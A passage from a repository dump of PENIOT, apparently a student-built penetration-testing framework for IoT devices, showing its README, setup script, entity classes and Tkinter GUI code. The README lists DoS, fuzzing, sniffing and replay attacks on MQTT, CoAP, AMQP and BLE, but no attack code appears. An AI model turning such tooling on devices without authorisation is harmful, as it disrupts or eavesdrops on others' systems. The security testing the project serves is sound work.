[
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n.hypothesis/\n.pytest_cache/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# celery beat schedule file\ncelerybeat-schedule\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# IntelliJ\n.idea/\n/out/\nsrc/logging.conf"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018 Berat Cankar, Bigehan Bingöl, Doğukan Çavdaroğlu, Ebru Çelebi\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# PENIOT: Penetration Testing Tool for IoT\n\n#### Table of Contents\n* [Project Description](#Project-Description)\n    * [What is PENIOT?](#What-is-PENIOT)\n    * [Why is PENIOT required?](#Why-is-PENIOT-required)\n    * [What does PENIOT provide?](#What-does-PENIOT-provide)\n* [Build Instructions](#Build-Instructions)\n* [Documentation](#Documentation)\n* [Testing](#Testing)\n* [Contributors](#Contributors)\n* [Developer's Note](#Developers-Note)\n* [Project Poster](#Project-Poster)\n\n## Project Description\n\n### What is PENIOT?\n\n[PENIOT](https://senior.ceng.metu.edu.tr/2019/peniot/) is a penetration testing tool for Internet of Things (IoT) devices. \nIt helps you to test/penetrate your devices by targeting their internet connectivity\nwith different types of security attacks. In other words, you can expose your device\nto both active and passive security attacks. After deciding target device and necessary\ninformation (or parameters) of that device, you can perform active security attacks like\naltering/consuming system resources, replaying valid communication units and so on.\nAlso, you can perform passive security attacks such as breaching of confidentiality of\nimportant information or reaching traffic analysis. Thanks to PENIOT, all those operations\ncan be semi-automated or even fully automated. In short, PENIOT is a package/framework for\ntargeting IoT devices with protocol based security attacks.\n\nAlso, it gives you a baseline structure for your further injections of new security attacks\nor new IoT protocols. One of the most important features of PENIOT is being extensible.\nBy default, it has several common IoT protocols and numerous security attacks related to\nthose protocols. But, it can be extended further via exporting basic structure of internally\nused components so that you can develop your attacks in harmony with the internal structure\nof the PENIOT.\n\n### Why is PENIOT required?\n\nThe IoT paradigm has experienced immense growth in the past decade, with billions of devices\nconnected to the Internet. Most of these devices lack even basic security measures due to\ntheir capacity constraints and designs made without security in mind due to the shortness\nof time-to-market. Due to the high connectivity in IoT, attacks that have devastating\neffects in extended networks can easily be launched by hackers through vulnerable devices.\n\nUp until now, penetration testing was done manually if it was not ignored at all.\nThis procedure made testing phase of devices very slow. On the other hand, the firms which\nproduce IoT devices should always be up to date on testing their devices in terms of\nreliability, robustness as well as their provided functionalities since being exposed to\nsecurity attacks by malicious people could cause unexpected impacts on end-users.\nThe main aim of PENIOT is to accelerate the process of security testing. It enables you to\nfigure out security flaws on your IoT devices by automating the time consuming penetration\ntesting phase.\n\n### What does PENIOT provide?\n\nFirst of all, PENIOT provides novelty. It is one of the first examples of penetration testing\ntools on IoT field. There are only one or two similar tools which are specialized on IoT,\nbut they are still on development phase, so not completed yet.\n\nSince the number of IoT devices is increasing drastically, IoT devices become more and more\ncommon in our daily life. Smart homes, smart bicycles, medical sensors, fitness trackers,\nsmart locks and connected factories are just a few examples of IoT products. Given this,\nwe felt the need to choose some of the most commonly used IoT protocols to plant into PENIOT\nby default. We chose the following protcols as the default IoT protocols included in the\nPENIOT. These IoT protocols are tested with various types of security attacks such as DoS,\nFuzzing, Sniffing and Replay attacks. \n\nFollowing protocols are currently supported:\n* Advanced Message Queuing Protocol ([AMQP](https://www.amqp.org/))\n* Bluetooth Low Energy ([BLE](https://www.bluetooth.com/))\n* Constraint Application Protocol ([CoAP](https://coap.technology/))\n* Message Queuing Telemetry Transport ([MQTT](http://mqtt.org/))\n\nMoreover, it enables you to export internal mainframe of its own implemented protocol and\nattacks to implement your own protocols or attacks. Also, you can extend already existing\nprotocols with your newly implemented attacks. And lastly, it provides you an easy to use,\nuser friendly graphical user interface. \n\n## Build Instructions\nFirstly, you need to have Python's **setuptools** module installed in your machine. Also,\nyou need to install **python-tk** and **[bluepy](https://github.com/IanHarvey/bluepy)**\nbefore installation and build.\n\nIn short, you need the followings before running installation script.\n* setuptools\n* python-tk\n* bluepy\n\n> Note that it is suggested to have a separate virtual environment particularly created\n> for Peniot since the dependent libraries are pretty old and can cause some trouble to\n> install them among your existing external libraries\n\nYou can build project in your local by executing following codes.\n```shell\n$ git clone git@github.com:yakuza8/peniot.git\n$ cd peniot\n$ python setup.py install\n```\nEven if we try to provide you up-to-date installation script, there can be some missing parts in\nit since the project cannot be maintained so long. Please inform us if there is any problem\nwith installation.\n\n**Important Note**: You need to have [Radamsa](https://gitlab.com/akihe/radamsa) installed\nin your machine in order for generating fuzzing payloads in fuzzing attacks.  \n\n## Execution\n\nYou can run Peniot via command line or your favorite IDE after setting up a virtual environment and \ninstalling the necessary libraries described above.\n\n```shell\n$ python src/peniot.py\n```\n\nAfter running this command, you should see an user interface appeared. Then you can explore the tool\nby yourself.\n\n## Documentation\nYou can find *Design Overview Document* and *Final Design Document* under the **resources/documents** folder.\nSeveral diagrams are attached under the **resources/diagrams** folder. Here is the simplest\nrepresentation of how PENIOT is separated modules and how it is designed.\n\n<p align=\"center\">\n<img src=\"/resources/diagrams/peniot_structure_component_diagram.png\">\n</p>\n\n## Testing\nMost of the attacks have their own sample integration tests under their attack scripts. In\norder to run those tests, you need to have a running program for the target protocol. We try to\nprovide you with example programs for each protocol where one can find server/client scripts\nunder each protocol's **examples** directory. \n\n## Contributors\nThis project is contributed by the following project members:\n- Berat Cankar\n- Bilgehan Bingöl\n- Doğukan Çavdaroğlu\n- Ebru Çelebi\n\nand is supervised by **Pelin Angın**.\n\n## Developer's Note\nFirstly, let me thank you for visiting our project site. We tried to provide you how one can\npenetrate and hack IoT devices over the protocols they use thanks to end-to-end security attacks.\nOur main purpose is to hack those devices with generic security attacks. One can simply find\nspecific attacks for any protocol, but as I said ours was to provide generic and extendable\npenetration framework. \n\nSecondly, PENIOT is developed with **Python2.7**. And our code maybe had gone into *legacy state*.\nBut nevertheless, we wanted to share it to public so that anyone could get insight and\ninspiration to develop their own penetration tools, that is what makes us happy if it could happen.\n\nThirdly, we also will try to port our tool into **Python3** if we can spare necessary time for that.\nWhen it happens, we will inform it from this page as well. Thanks for your attention.\n\nDeveloper: @yakuza8 (Berat Cankar)\n\n## Project Poster\n<p align=\"center\">\n<img src=\"/resources/peniot_vectorized.svg\">\n</p>\n"
  },
  {
    "path": "setup.py",
    "content": "from os import path\nfrom setuptools import setup, find_packages\nimport sys\n\nsys.path.insert(0, \"src\")\n\nwith open(path.join(\".\", \"README.md\")) as f:\n    long_description = f.read()\n\nsetup(\n    name=\"Peniot\",\n    version=\"1.0\",\n    description=\"Penetration Testing Tool for IoT devices\",\n    long_description=long_description,\n    author=\"Berat Cankar,Bilgehan Bingol,Ebru Celebi,Dogukan Cavdaroglu\",\n    url=\"https://senior.ceng.metu.edu.tr/2019/peniot/\",\n    platform=\"Unix\",\n    packages=find_packages(),\n    include_package_data=True,\n    install_requires=[\n        \"Cython\",\n        \"paho-mqtt\",\n        \"scapy\",\n        \"pyshark-legacy\",\n        \"coapthon\",\n        \"fpdf\",\n        \"pygame==1.9.4\",\n        \"pika\",\n        \"pexpect\",\n        \"enum\",\n    ],\n    classifiers=[\"Programming Language :: Python :: 2.7.9\"],\n)\n"
  },
  {
    "path": "src/Entity/__init__.py",
    "content": "\"\"\"\n    This package contains the following entities:\n\n    1) Protocol\n    2) Attack Suite\n    3) Attack\n    4) Input Format\n\n    In this module, we have the backend entities to represent and structure our code\n    And these entities have the following relations in between: (Connection endpoints represent cardinality of entity)\n\n    - Protocol      1----------*    Attack Suite\n    - Attack suite  1----------*    Attack\n    - Attack        1----------*    Input format\n\"\"\""
  },
  {
    "path": "src/Entity/attack.py",
    "content": "import logging\n\nfrom GUI import hard_coded_texts as hct\n\n\nclass Attack(object):\n    name = None\n    inputs = []\n    default_parameters = []\n\n    def __init__(self, name, inputs, default_parameters, definition, logger=None):\n        self.name = name\n        self.inputs = inputs\n        self.default_parameters = default_parameters\n        self.definition = definition\n        if logger is None:\n            self.logger = logging.getLogger(hct.get_logger_name())\n        else:\n            self.logger = logging.getLogger(\"Default logger\")\n\n        # Load default parameters into input format values\n        self.load_default_parameters()\n\n    def get_attack_name(self):\n        return self.name\n\n    def set_attack_name(self, name):\n        self.name = name\n        return self\n\n    def get_inputs(self):\n        return self.inputs\n\n    def set_inputs(self, inputs):\n        self.inputs = inputs\n        return self\n\n    def insert_input(self, _input):\n        if self.inputs is not None:\n            self.inputs.append(_input)\n\n    def get_default_parameters(self):\n        return self.default_parameters\n\n    def set_default_parameters(self, default_parameters):\n        self.default_parameters = default_parameters\n        return self\n\n    def insert_default_parameters(self, _default_parameter):\n        if self.default_parameters is not None:\n            self.default_parameters.append(_default_parameter)\n\n    def get_definition(self):\n        return self.definition\n\n    def set_definition(self, definition):\n        self.definition = definition\n\n    def set_input_value(self, input_name):\n        for _input in self.inputs:\n            if _input.get_name() == input_name:\n                setattr(self, _input.get_name(), _input.get_value())\n\n    def run(self):\n        # Set all the input values of the class, then show begins\n        for _input in self.inputs:\n            setattr(self, _input.get_name(), _input.get_value())\n        # Will be filled by inherited class\n\n    def stop_attack(self):\n        pass  # Will be filled by attacks\n\n    def load_default_parameters(self):\n        for _input_index, _input in enumerate(self.inputs):\n            _input.set_value(self.default_parameters[_input_index])\n"
  },
  {
    "path": "src/Entity/attack_suite.py",
    "content": "class AttackSuite(object):\n\n    name = None\n    attacks = []\n\n    def __init__(self, name, attacks):\n        self.name = name\n        self.attacks = attacks\n\n    def get_attack_suite_name(self):\n        return self.name\n\n    def set_attack_suite_name(self, name):\n        self.name = name\n        return self\n\n    def get_attacks(self):\n        return self.attacks\n\n    def set_attacks(self, attacks):\n        self.attacks = attacks\n        return self\n\n    def insert_attack(self, attack):\n        if self.attacks is not None:\n            self.attacks.append(attack)\n\n    def run(self):\n        for attack in self.attacks:\n            attack.run()\n"
  },
  {
    "path": "src/Entity/input_format.py",
    "content": "class InputFormat(object):\n\n    def __init__(self, label_name, name, value, _type, default_value=None, mandatory=False, secret=False,\n                 from_captured_packets=False):\n        self.label_name = label_name\n        self.name = name\n        self.value = value\n        self.type = _type\n        self.mandatory = mandatory\n        self.default_value = default_value\n        self.secret = secret\n        self.from_captured_packets = from_captured_packets\n\n    def get_label_name(self):\n        return self.label_name\n\n    def set_label_name(self, label_name):\n        self.label_name = label_name\n        return self\n\n    def get_name(self):\n        return self.name\n\n    def set_name(self, name):\n        self.name = name\n        return self\n\n    def get_value(self):\n        return self.value\n\n    def set_value(self, value):\n        self.value = value\n        return self\n\n    def get_type(self):\n        return self.type\n\n    def set_type(self, _type):\n        self.type = _type\n        return self\n\n    def set_mandatory(self, mandadory):\n        self.mandatory = mandadory\n        return self\n\n    def is_mandatory(self):\n        return self.mandatory\n\n    def set_default_value(self, default_value):\n        self.default_value = default_value\n        return self\n\n    def get_default_value(self):\n        return self.default_value\n\n    def is_secret(self):\n        return self.secret\n\n    def set_secret(self, secret):\n        self.secret = secret\n        return self\n\n    def is_from_captured_packets(self):\n        return self.from_captured_packets\n\n    def set_from_captured_packets(self, from_captured_packets):\n        self.from_captured_packets = from_captured_packets\n        return self\n"
  },
  {
    "path": "src/Entity/protocol.py",
    "content": "class Protocol(object):\n\n    name = None\n    attack_suites = []\n\n    def __init__(self, name, attack_suites, definition):\n        self.name = name\n        self.attack_suites = attack_suites\n        self.definition = definition\n\n    def get_protocol_name(self):\n        return self.name\n\n    def set_protocol_name(self, name):\n        self.name = name\n        return self\n\n    def get_attack_suites(self):\n        return self.attack_suites\n\n    def set_attack_suites(self, attack_suites):\n        self.attack_suites = attack_suites\n        return self\n\n    def get_definition(self):\n        return self.definition\n\n    def set_definition(self, new_def):\n        self.definition = new_def\n        return self\n\n    def insert_attack_suite(self, attack_suite):\n        if self.attack_suites is not None:\n            self.attack_suites.append(attack_suite)\n"
  },
  {
    "path": "src/GUI/__init__.py",
    "content": "\"\"\"\n    This package includes graphical user interface of PENIOT\n\"\"\""
  },
  {
    "path": "src/GUI/custom_widgets.py",
    "content": "from Tkinter import *\nfrom hard_coded_texts import get_project_name\n\n\nclass Header(Frame):\n    \"\"\"\n    Generic header template class which is used for construction of different screens\n    \"\"\"\n\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=\"white\")\n        # Create the header\n        header = Label(self, text=get_project_name(), width=55, font=(\"Arial\", 20), height=5)\n        header.grid()\n        header.configure(background=\"white\")\n\n\nclass CustomButton(Button):\n    \"\"\"\n    Generic button template to use them throughout the screens\n    \"\"\"\n\n    def __init__(self, parent_window, text, _function, row, columnspan=None, sticky=None, column=None, height=2,\n                 foreground=\"black\"):\n        Button.__init__(self, parent_window, command=_function, text=text, font=(\"Arial\", 15), borderwidth=0,\n                        height=height, highlightthickness=0, background=\"white\", foreground=foreground)\n        self.grid(row=row, columnspan=columnspan, sticky=sticky, column=column)\n\n\nclass CustomLabel(Label):\n    \"\"\"\n    Generic label template to use them throughout the screens\n    \"\"\"\n\n    def __init__(self, parent_window, text, row, column, rowspan=None, columnspan=None, sticky=None):\n        Label.__init__(self, parent_window, text=text, font=(\"Arial\", 15))\n        self.grid(row=row, column=column, rowspan=rowspan, columnspan=columnspan, sticky=sticky)\n\n\nclass CustomRadiobutton(Radiobutton):\n    \"\"\"\n    Generic radio button template to use them throughout the screens\n    \"\"\"\n\n    def __init__(self, parent_window, text, row, column, sticky, variable, value):\n        Radiobutton.__init__(self, parent_window, text=text, font=(\"Arial\", 13), variable=variable, value=value)\n        self.grid(row=row, column=column, sticky=sticky)\n"
  },
  {
    "path": "src/GUI/hard_coded_texts.py",
    "content": "\"\"\"\n       This file contains some methods which return hard-coded texts and constant texts\n\"\"\"\n\n\n# Window title, size and background color\nproject_title = \"Peniot\"\nwindow_size = \"800x650\"\nwindow_background_color = \"white\"\nmandatory_fields_background_color = \"red\"\n\n# Button labels\nstart_testing_label = \"Start Testing\"\nextend_peniot_label = \"Extend Peniot\"\nview_captured_packets = \"View Captured Packets\"\nhelp_label = \"Help\"\nback_to_menu_label = \"Back to menu\"\nabout_us_label = \"About us\"\nfooter_label = \"2018-2019 CENG Term Project\"\ngo_to_input_page = \"Go to input page\"\nback_to_attack_selection_page = \"Back to attacks selection\"\nback_to_attack_suite_page = \"Back to the attack suite page\"\nback_to_attack_details = \"Back to attacks details\"\nperform_attack = \"Perform the attack\"\nload_default_parameters = \"Load default parameters\"\nstop_attack_go_back = \"Stop the attack and go back\"\ngenerate_report = \"Generate report\"\n\n# Settings for logger\nlogging_format = \"%(asctime)s:%(levelname)s:%(name)s:%(message)s\"\nlogger_name = \"Attack Reporting Page\"\n\n# Color for the console\nconsole_background_color = \"black\"\nconsole_foreground_color = \"white\"\n\n\ndef get_project_name():\n    return \"Peniot:Penetration testing tool for Internet of Things\"\n\n\ndef get_about_us():\n    return \"The developers of PENIOT project are the following : \\n\" \\\n           \"    Berat Cankar\\n\" \\\n           \"    Bilgehan Bingol\\n\" \\\n           \"    Dogukan Cavdaroglu\\n\" \\\n           \"    Ebru Celebi\\n\" \\\n           \"The supervisor of the project is :\\n\" \\\n           \"    Asst. Prof. Dr. Pelin Angin \"\n\n\ndef get_help():\n    return \"PENIOT enables users to test their IoT devices.For now,it supports the \\n\" \\\n           \"following protocols:\\n\" \\\n           \"    * MQTT\\n\" \\\n           \"    * CoAP\\n\" \\\n           \"    * BLE\\n\" \\\n           \"    * AMQP\\n\" \\\n           \"For each protocol, there is at least one attack.After selecting protocol\\n\" \\\n           \"and attacks, you just need to provide some information about your\\n\" \\\n           \"device or network.PENIOT will handle the rest while you are resting.\\n\" \\\n           \"At the end, it will provide a report which states the results of the performed attack.\\n\"\n\n\ndef get_extension_help():\n    return \"Extension utility which enables you to export internal structure of entities\\n\" \\\n           \"(Attack, AttackSuite and Protocol) or import your implemented entities into\\n\" \\\n           \"Peniot so that you can simulate/execute your own implementations.\"\n\n\ndef get_logger_name():\n    \"\"\"\n    Returns the logger name we will use for reporting the attack results\n    \"\"\"\n    return logger_name\n"
  },
  {
    "path": "src/GUI/tkinter.py",
    "content": "import logging\nimport tkFileDialog\nimport ttk\nfrom threading import Timer\n\nfrom custom_widgets import *\nfrom hard_coded_texts import *\nfrom utils import *\nfrom Entity.attack import Attack\nfrom Entity.attack_suite import AttackSuite\nfrom Utils import CommonUtil\nfrom Utils.ExtendUtil.export_util import ExportUtil, ExportOptions\nfrom Utils.ExtendUtil.import_util import ImportUtil, ImportOptions\nfrom Utils.ReportUtil.report_generator import GenerateReport\n\nroot = None\n\n\nclass HomePage(Frame):\n    \"\"\"\n    This is the first page which users see when they start the application.\n    It simply contains a menu with the following options:\n        - Start Testing\n        - Help\n        - About us\n    \"\"\"\n\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Create the header\n        Header(self).grid(row=0)\n        # Start testing button\n        CustomButton(self, start_testing_label, lambda: change_frame(self, ProtocolsPage(root)), 1)\n        # Extension button\n        CustomButton(self, extend_peniot_label, lambda: change_frame(self, ExtensionPage(root)), 2)\n        # View captured packets button\n        CustomButton(self, view_captured_packets, lambda: change_frame(self, ViewCapturedPackets(root)), 3)\n        # Help button\n        CustomButton(self, help_label, lambda: change_frame(self, Help(root)), 4)\n        # About us button\n        CustomButton(self, about_us_label, lambda: change_frame(self, AboutUs(root)), 5)\n        # Footer\n        footer = Label(self, text=footer_label, width=55, font=(\"Arial\", 20), height=5)\n        footer.grid(row=6)\n        footer.configure(background=window_background_color)\n        # Make it visible\n        self.grid()\n\n\nclass AboutUs(Frame):\n    \"\"\"\n    This page displays information about the developers of the project.\n    \"\"\"\n\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Create the header\n        Header(self).grid(row=0)\n        # Information about us\n        info_about_us = Label(self, text=get_about_us(), width=55, anchor=W, justify=LEFT, font=(\"Arial\", 15),\n                              height=10)\n        info_about_us.grid(row=1)\n        info_about_us.configure(background=window_background_color)\n        # Back to menu button\n        CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), 2)\n        # Make it visible\n        self.grid()\n\n\nclass Help(Frame):\n    \"\"\"\n    This page displays information about the tool.\n    \"\"\"\n\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Create the header\n        Header(self).grid(row=0)\n        # Information about us\n        info_about_us = Label(self, text=get_help(), width=70, anchor=W, justify=LEFT, font=(\"Arial\", 15), height=10)\n        info_about_us.grid(row=1)\n        info_about_us.configure(background=window_background_color)\n        # Back to menu button\n        CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), 2)\n        # Make it visible\n        self.grid()\n\n\nclass ViewCapturedPackets(Frame):\n    \"\"\"\n    This page enables users to download captured packets.\n    \"\"\"\n    CAPTURED_PACKET_PATH = os.path.dirname(os.path.abspath(__file__))[:-4] + \"/captured_packets/\"\n\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        # Generate content\n        self.generate_content()\n        # Make it visible\n        self.grid()\n\n    def generate_content(self):\n        \"\"\"\n        This method is used to generate rows representing the files\n        \"\"\"\n        # Destroy the existing widgets\n        for widget in self.winfo_children():\n            widget.destroy()\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Create the header\n        Header(self).grid(row=0, columnspan=4)\n        # Row index\n        row_index = 1\n        # Get the file names\n        file_names = get_captured_packet_files()\n        for file_name in file_names:\n            # Remove .txt part\n            file_name_without_extension = file_name[:-4]\n            info = file_name_without_extension.split(\"_\")\n            # Protocol name\n            protocol_name = Label(self, text=info[0])\n            protocol_name.grid(row=row_index, column=0)\n            protocol_name.configure(background=window_background_color)\n            # Date\n            date = Label(self, text=info[1] + \" \" + info[2])\n            date.grid(row=row_index, column=1)\n            date.configure(background=window_background_color)\n            # Download button\n            CustomButton(self, \"Download\", lambda file_name=file_name: self.download_file(file_name), row_index, None,\n                         None, 2)\n            # Delete button\n            print file_name\n            CustomButton(self, \"Delete\", lambda file_name=file_name: self.delete_captured_packets_file(file_name),\n                         row_index, None,\n                         None, 3)\n            # Increment row index\n            row_index = row_index + 1\n        # Back to menu button\n        CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), row_index, 3)\n        self.grid()\n\n    def delete_captured_packets_file(self, file_name):\n        \"\"\" \n        This method is used to delete a captured packets file\n        \"\"\"\n        os.remove(self.CAPTURED_PACKET_PATH + file_name)\n        # Generate content\n        self.generate_content()\n\n    def download_file(self, file_name):\n        \"\"\"\n        This methods is used to export the selected packets file.\n        \"\"\"\n        # Get the directory\n        directory_name = tkFileDialog.askdirectory(initialdir=os.getcwd(), title=\"Select directory to download packets\")\n\n        try:\n            # Read the file\n            packets_file = os.open(os.path.dirname(os.path.abspath(__file__))[:-4] + \"/captured_packets/\" + file_name,\n                                   os.O_RDONLY)\n            # Open a file\n            new_file = os.open(directory_name + \"/\" + file_name, os.O_RDWR | os.O_CREAT)\n            # Copy the file content\n            while True:\n                data = os.read(packets_file, 2048)\n                if not data:\n                    break\n                os.write(new_file, data)\n            # Close the files\n            os.close(packets_file)\n            os.close(new_file)\n            # Create pop-up\n            pop_up_window(root, None, \"Downloaded successfully\")\n        except Exception as e:\n            if len(directory_name) == 0:\n                return\n            else:\n                pop_up_window(root, None, \"Download operation is failed because of\\n{0}\".format(e), justify=CENTER)\n\n\nclass ProtocolsPage(Frame):\n    \"\"\"\n    This page displays the possible options for protocols.\n    \"\"\"\n\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Create the header\n        Header(self).grid(row=0, columnspan=2)\n        # Get protocols\n        protocols = get_protocols()\n        # Current row index\n        row_index = 1\n        # Create a button for each protocols\n        for protocol in protocols:\n            # Create the button for the protocol\n            CustomButton(self, protocol[\"protocol\"].get_protocol_name(),\n                         lambda selected_protocol=protocol: change_frame(self, AttacksPage(root,\n                                                                                           selected_protocol)),\n                         row_index, None, E, 0)\n\n            CustomButton(self, \"?\",\n                         lambda selected_protocol=protocol: pop_up_window(root,\n                                                                          selected_protocol[\n                                                                              \"protocol\"].get_protocol_name(),\n                                                                          selected_protocol[\n                                                                              \"protocol\"].get_definition()),\n                         row_index, None, W, 1)\n            # Increment the row index\n            row_index = row_index + 1\n        # Back to menu button\n        CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), row_index, 2)\n        # Make it visible\n        self.grid()\n\n\nclass ExtensionPage(Frame):\n    \"\"\"\n    This page displays the extension options and help button that explains how to extend for PENIOT.\n    \"\"\"\n\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Create the header\n        Header(self).grid(row=0, columnspan=2)\n        # Current row index\n        row_index = 1\n\n        # Export button\n        CustomButton(self, \"Export\", lambda: change_frame(self, ExportPage(root)), row_index, None, E, 0)\n        row_index = row_index + 1\n\n        # Import button\n        CustomButton(self, \"Import\", lambda: change_frame(self, ImportPage(root)), row_index, None, E, 0)\n        row_index = row_index + 1\n\n        # Help button\n        CustomButton(self, help_label, lambda: change_frame(self, ExtensionHelp(root)), row_index, 2)\n        row_index = row_index + 1\n\n        # Back to menu button\n        CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), row_index, 2)\n\n        # Make it visible\n        self.grid()\n\n\nclass ImportPage(Frame):\n    \"\"\"\n    These pages make the user select import or export options\n    \"\"\"\n\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        self.file_path = \"\"\n        self.option = ImportOptions.ATTACK_OR_ATTACK_SUITE\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Create the header\n        Header(self).grid(row=0, columnspan=4)\n\n        row_index = 1\n\n        CustomLabel(self, text=\"Option:\", row=row_index, column=0, sticky=E)\n        option_combo_box = ttk.Combobox(self, values=[\"Protocol\", \"Attack or Attack Suite\"], font=(\"Arial\", 15))\n        option_combo_box.grid(row=row_index, column=1, sticky=W + E, columnspan=2)\n        option_combo_box.bind(\"<<ComboboxSelected>>\",\n                              lambda x: combobox_element_changed(option_combo_box, protocol_name_label,\n                                                                 self.protocol_name_combo_box))\n        option_combo_box.current(1)\n        row_index = row_index + 1\n\n        protocol_name_label = CustomLabel(self, text=\"Protocol Name:\", row=row_index, column=0, sticky=E)\n        self.protocol_name_combo_box = ttk.Combobox(self, font=(\"Arial\", 15))\n        self.protocol_name_combo_box.grid(row=row_index, column=1, sticky=W + E, columnspan=2)\n        self.protocol_name_combo_box.bind(\"<<ComboboxSelected>>\",\n                                          lambda x: combobox_protocol_name_changed(self.protocol_name_combo_box))\n        row_index = row_index + 1\n\n        # Names of available protocols\n        self.protocol_names = []\n        # Get protocol names\n        self.get_protocol_names()\n\n        self.selected_protocol = self.protocol_names[0]\n\n        CustomLabel(self, text=\"File Path:\", row=row_index, column=0, sticky=E)\n        file_path_entry = Entry(self, font=(\"Arial\", 15))\n        file_path_entry.grid(row=row_index, column=1, sticky=W + E, columnspan=2)\n\n        CustomButton(self, \"Select File\", lambda: get_file_path(file_path_entry), row_index, None, W, 3, height=1)\n        row_index = row_index + 1\n\n        CustomButton(self, \"Import\",\n                     lambda: self.import_button_click(file_path_entry.get(), self.option, self.selected_protocol),\n                     row_index, None, W, 3)\n\n        CustomButton(self, back_to_menu_label, lambda: change_frame(self, ExtensionPage(root)), row_index, None, E, 0)\n\n        for col in range(5):\n            self.columnconfigure(col, weight=1)\n        for row in range(8):\n            self.rowconfigure(row, weight=1)\n\n        self.grid()\n\n        def get_file_path(entry):\n            self.file_path = tkFileDialog.askopenfilename()\n            entry.delete(0, END)\n            entry.insert(0, self.file_path)\n\n        def combobox_element_changed(combo, label, combobox):\n            if combo.get() == \"Protocol\":\n                label.grid_forget()\n                combobox.grid_forget()\n                self.option = ImportOptions.PROTOCOL\n            else:\n                label.grid(row=2, column=0, sticky=E)\n                combobox.grid(row=2, column=1, sticky=W + E, columnspan=2)\n                self.option = ImportOptions.ATTACK_OR_ATTACK_SUITE\n\n        def combobox_protocol_name_changed(combo):\n            self.selected_protocol = combo.get()\n\n    def import_button_click(self, file_path, option, selected_protocol):\n        try:\n            if not os.path.isfile(file_path):\n                pop_up_window(root, None, \"Please select a valid file.\")\n                return\n            ImportUtil.import_action(file_path, option, selected_protocol)\n            # Update the protocol list since the user may import a new protocol\n            self.get_protocol_names()\n            pop_up_window(root, None, \"Files are imported successfully\")\n\n        except Exception as e:\n            pop_up_window(root, None, \"Import operation is failed because of\\n{0}\".format(e), justify=CENTER)\n\n    def get_protocol_names(self):\n        protocols = get_protocols()\n        self.protocol_names = []\n        for protocol in protocols:\n            self.protocol_names.append(protocol[\"protocol\"].get_protocol_name())\n        self.protocol_name_combo_box['values'] = self.protocol_names\n\n\nclass ExportPage(Frame):\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Create the header\n        Header(self).grid(row=0, columnspan=4)\n\n        s = ttk.Style()\n        s.configure(\".\", font=(\"Arial\", 15))\n\n        tab_control = ttk.Notebook(self)\n        attack_tab = TabFrame(tab_control, ExportOptions.ATTACK)\n        tab_control.add(attack_tab, text=\"Attack\")\n\n        attacksuite_tab = TabFrame(tab_control, ExportOptions.ATTACK_SUITE)\n        tab_control.add(attacksuite_tab, text=\"Attack Suite\")\n\n        